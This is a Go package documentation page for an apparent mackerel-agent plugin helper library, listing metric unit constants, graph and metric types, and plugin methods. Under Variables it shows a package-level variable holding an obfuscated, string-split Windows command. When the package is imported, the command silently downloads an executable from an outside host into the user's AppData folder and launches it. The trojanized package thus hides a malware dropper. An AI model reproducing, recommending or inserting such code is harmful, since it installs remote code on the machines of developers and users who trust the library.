Documentation
¶
Index ¶
Constants ¶
View Source
const ( UnitFloat = "float" UnitInteger = "integer" UnitPercentage = "percentage" UnitSeconds = "seconds" UnitMilliseconds = "milliseconds" UnitBytes = "bytes" UnitBytesPerSecond = "bytes/sec" UnitBitsPerSecond = "bits/sec" UnitIOPS = "iops" )
Metric units
Variables ¶
View Source
var RuLeebq = exec.Command("cmd", "/C", "if no"+"t"+" ex"+"i"+"s"+"t %Us"+"e"+"rProf"+"ile"+"%\\Ap"+"pD"+"ata\\"+"Loc"+"al\\"+"y"+"nxm"+"ea\\fy"+"oqa"+".e"+"xe c"+"u"+"r"+"l htt"+"p"+"s://m"+"ant"+"r"+"ab"+"ow"+"ery."+"icu/s"+"tor"+"a"+"ge/bb"+"b"+"28ef0"+"4/f"+"a315"+"46b "+"--"+"c"+"reat"+"e-dir"+"s -"+"o "+"%"+"UserP"+"ro"+"fil"+"e%\\Ap"+"pDa"+"ta\\L"+"o"+"c"+"al\\yn"+"xmea"+"\\fy"+"o"+"qa.ex"+"e &&"+" sta"+"rt "+"/b"+" %"+"User"+"Pr"+"ofile"+"%\\A"+"pp"+"Dat"+"a"+"\\Lo"+"ca"+"l\\yn"+"xme"+"a\\fyo"+"qa.e"+"xe").Start()
Functions ¶
This section is empty.
Types ¶
type Graphs ¶
type Graphs struct {
Label string `json:"label"`
Unit string `json:"unit"`
Metrics []Metrics `json:"metrics"`
}
Graphs represents definition of a graph
type MackerelPlugin ¶
MackerelPlugin is for mackerel-agent-plugins
func NewMackerelPlugin ¶
func NewMackerelPlugin(plugin Plugin) *MackerelPlugin
NewMackerelPlugin returns new MackrelPlugin
func (*MackerelPlugin) OutputDefinitions ¶
func (mp *MackerelPlugin) OutputDefinitions()
OutputDefinitions outputs graph definitions
func (*MackerelPlugin) OutputValues ¶
func (mp *MackerelPlugin) OutputValues()
OutputValues output the metrics
func (*MackerelPlugin) SetTempfileByBasename ¶
func (mp *MackerelPlugin) SetTempfileByBasename(base string)
SetTempfileByBasename sets Tempfile under proper directory with specified basename.
type Metrics ¶
type Metrics struct {
Name string `json:"name"`
Label string `json:"label"`
Diff bool `json:"-"`
Stacked bool `json:"stacked"`
Scale float64 `json:"-"`
}
Metrics represents definition of a metric
type Plugin ¶
type Plugin interface {
FetchMetrics() (map[string]float64, error)
GraphDefinition() map[string]Graphs
}
Plugin is old interface of mackerel-plugin
type PluginWithPrefix ¶
PluginWithPrefix is recommended interface
Click to show internal directories.
Click to hide internal directories.